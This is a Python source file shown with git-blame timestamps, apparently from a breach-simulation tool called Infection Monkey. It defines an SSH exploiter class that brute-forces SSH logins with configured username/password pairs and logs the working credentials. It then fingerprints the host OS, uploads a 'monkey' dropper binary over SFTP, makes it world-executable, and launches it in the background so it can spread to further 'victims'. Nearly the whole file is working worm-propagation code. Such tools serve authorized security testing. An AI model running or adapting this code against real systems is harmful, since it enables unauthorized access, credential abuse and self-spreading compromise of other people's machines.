2015-09-29 22:58:06 +08:00
|
|
|
import logging
|
2016-08-09 03:25:33 +08:00
|
|
|
import time
|
2017-10-11 23:05:03 +08:00
|
|
|
|
|
|
|
import paramiko
|
|
|
|
|
2016-08-09 03:25:33 +08:00
|
|
|
import monkeyfs
|
2015-11-30 20:11:19 +08:00
|
|
|
from exploit import HostExploiter
|
2017-10-11 23:05:03 +08:00
|
|
|
from exploit.tools import get_target_monkey, get_monkey_depth
|
2015-11-30 20:11:19 +08:00
|
|
|
from model import MONKEY_ARG
|
2018-01-19 16:05:48 +08:00
|
|
|
from network.tools import check_port_tcp
|
2017-10-11 23:05:03 +08:00
|
|
|
from tools import build_monkey_commandline
|
2015-09-29 22:58:06 +08:00
|
|
|
|
|
|
|
__author__ = 'hoffer'
|
|
|
|
|
|
|
|
LOG = logging.getLogger(__name__)
|
2015-09-30 20:05:30 +08:00
|
|
|
SSH_PORT = 22
|
2015-10-08 18:39:52 +08:00
|
|
|
TRANSFER_UPDATE_RATE = 15
|
2015-09-29 22:58:06 +08:00
|
|
|
|
2015-11-30 16:56:20 +08:00
|
|
|
|
2015-09-29 22:58:06 +08:00
|
|
|
class SSHExploiter(HostExploiter):
|
2017-10-16 15:58:11 +08:00
|
|
|
_TARGET_OS_TYPE = ['linux', None]
|
2015-09-29 22:58:06 +08:00
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
def __init__(self, host):
|
|
|
|
super(SSHExploiter, self).__init__(host)
|
2015-09-29 22:58:06 +08:00
|
|
|
self._config = __import__('config').WormConfiguration
|
2015-10-08 18:39:52 +08:00
|
|
|
self._update_timestamp = 0
|
2016-08-29 18:34:21 +08:00
|
|
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
2015-10-08 18:39:52 +08:00
|
|
|
|
|
|
|
def log_transfer(self, transferred, total):
|
|
|
|
if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE:
|
|
|
|
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
|
|
|
|
self._update_timestamp = time.time()
|
2015-09-29 22:58:06 +08:00
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
def exploit_host(self):
|
2015-09-29 22:58:06 +08:00
|
|
|
ssh = paramiko.SSHClient()
|
|
|
|
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
|
|
|
|
2015-09-30 20:05:30 +08:00
|
|
|
port = SSH_PORT
|
2015-10-12 22:42:54 +08:00
|
|
|
# if ssh banner found on different port, use that port.
|
2017-10-11 23:05:03 +08:00
|
|
|
for servkey, servdata in self.host.services.items():
|
2015-09-30 20:05:30 +08:00
|
|
|
if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
|
2015-11-30 20:11:19 +08:00
|
|
|
port = int(servkey.replace('tcp-', ''))
|
2015-09-30 20:05:30 +08:00
|
|
|
|
2018-01-19 16:05:48 +08:00
|
|
|
is_open, _ = check_port_tcp(self.host.ip_addr, port)
|
2015-09-30 20:05:30 +08:00
|
|
|
if not is_open:
|
2017-10-11 23:05:03 +08:00
|
|
|
LOG.info("SSH port is closed on %r, skipping", self.host)
|
2017-08-21 00:32:18 +08:00
|
|
|
return False
|
2015-09-30 20:05:30 +08:00
|
|
|
|
2017-09-04 21:44:40 +08:00
|
|
|
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
2015-09-29 22:58:06 +08:00
|
|
|
|
|
|
|
exploited = False
|
2017-08-21 00:32:18 +08:00
|
|
|
for user, curpass in user_password_pairs:
|
2015-09-29 22:58:06 +08:00
|
|
|
try:
|
2017-10-11 23:05:03 +08:00
|
|
|
ssh.connect(self.host.ip_addr,
|
2016-08-09 03:25:33 +08:00
|
|
|
username=user,
|
|
|
|
password=curpass,
|
2015-10-08 18:39:52 +08:00
|
|
|
port=port,
|
|
|
|
timeout=None)
|
2015-09-29 22:58:06 +08:00
|
|
|
|
|
|
|
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
|
2017-10-11 23:05:03 +08:00
|
|
|
self.host, user, curpass)
|
|
|
|
self.report_login_attempt(True, user, curpass)
|
2015-09-29 22:58:06 +08:00
|
|
|
exploited = True
|
|
|
|
break
|
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
except Exception as exc:
|
2015-09-29 22:58:06 +08:00
|
|
|
LOG.debug("Error logging into victim %r with user"
|
2017-10-11 23:05:03 +08:00
|
|
|
" %s and password '%s': (%s)", self.host,
|
2016-08-09 03:25:33 +08:00
|
|
|
user, curpass, exc)
|
2017-10-11 23:05:03 +08:00
|
|
|
self.report_login_attempt(False, user, curpass)
|
2015-09-29 22:58:06 +08:00
|
|
|
continue
|
|
|
|
|
|
|
|
if not exploited:
|
|
|
|
LOG.debug("Exploiter SSHExploiter is giving up...")
|
|
|
|
return False
|
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
if not self.host.os.get('type'):
|
2015-09-29 22:58:06 +08:00
|
|
|
try:
|
|
|
|
_, stdout, _ = ssh.exec_command('uname -o')
|
|
|
|
uname_os = stdout.read().lower().strip()
|
|
|
|
if 'linux' in uname_os:
|
2017-10-11 23:05:03 +08:00
|
|
|
self.host.os['type'] = 'linux'
|
2015-09-29 22:58:06 +08:00
|
|
|
else:
|
|
|
|
LOG.info("SSH Skipping unknown os: %s", uname_os)
|
|
|
|
return False
|
2017-10-11 23:05:03 +08:00
|
|
|
except Exception as exc:
|
|
|
|
LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc)
|
2015-09-29 22:58:06 +08:00
|
|
|
return False
|
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
if not self.host.os.get('machine'):
|
2015-09-29 22:58:06 +08:00
|
|
|
try:
|
|
|
|
_, stdout, _ = ssh.exec_command('uname -m')
|
|
|
|
uname_machine = stdout.read().lower().strip()
|
|
|
|
if '' != uname_machine:
|
2017-10-11 23:05:03 +08:00
|
|
|
self.host.os['machine'] = uname_machine
|
|
|
|
except Exception as exc:
|
|
|
|
LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc)
|
2015-09-29 22:58:06 +08:00
|
|
|
|
2016-08-29 19:25:30 +08:00
|
|
|
if self.skip_exist:
|
|
|
|
_, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux)
|
|
|
|
stdout_res = stdout.read().strip()
|
|
|
|
if stdout_res:
|
|
|
|
# file exists
|
2017-10-11 23:05:03 +08:00
|
|
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
2016-08-29 19:25:30 +08:00
|
|
|
return True # return already infected
|
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
src_path = get_target_monkey(self.host)
|
2015-09-29 22:58:06 +08:00
|
|
|
|
|
|
|
if not src_path:
|
2017-10-11 23:05:03 +08:00
|
|
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
2015-09-29 22:58:06 +08:00
|
|
|
return False
|
|
|
|
|
|
|
|
try:
|
|
|
|
ftp = ssh.open_sftp()
|
|
|
|
|
2015-10-08 18:39:52 +08:00
|
|
|
self._update_timestamp = time.time()
|
2015-09-29 22:58:06 +08:00
|
|
|
with monkeyfs.open(src_path) as file_obj:
|
2015-11-30 20:11:19 +08:00
|
|
|
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
|
|
|
|
callback=self.log_transfer)
|
2017-10-11 23:05:03 +08:00
|
|
|
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
|
2015-09-29 22:58:06 +08:00
|
|
|
|
|
|
|
ftp.close()
|
2017-10-11 23:05:03 +08:00
|
|
|
except Exception as exc:
|
|
|
|
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
|
2015-09-29 22:58:06 +08:00
|
|
|
return False
|
|
|
|
|
|
|
|
try:
|
2015-10-14 22:22:05 +08:00
|
|
|
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
2017-10-11 23:05:03 +08:00
|
|
|
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
2015-10-14 22:22:05 +08:00
|
|
|
cmdline += "&"
|
2015-09-29 22:58:06 +08:00
|
|
|
ssh.exec_command(cmdline)
|
|
|
|
|
|
|
|
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
2017-10-11 23:05:03 +08:00
|
|
|
self._config.dropper_target_path_linux, self.host, cmdline)
|
|
|
|
|
2015-09-29 22:58:06 +08:00
|
|
|
ssh.close()
|
|
|
|
return True
|
|
|
|
|
2017-10-11 23:05:03 +08:00
|
|
|
except Exception as exc:
|
|
|
|
LOG.debug("Error running monkey on victim %r: (%s)", self.host, exc)
|
2015-11-30 16:56:20 +08:00
|
|
|
return False
|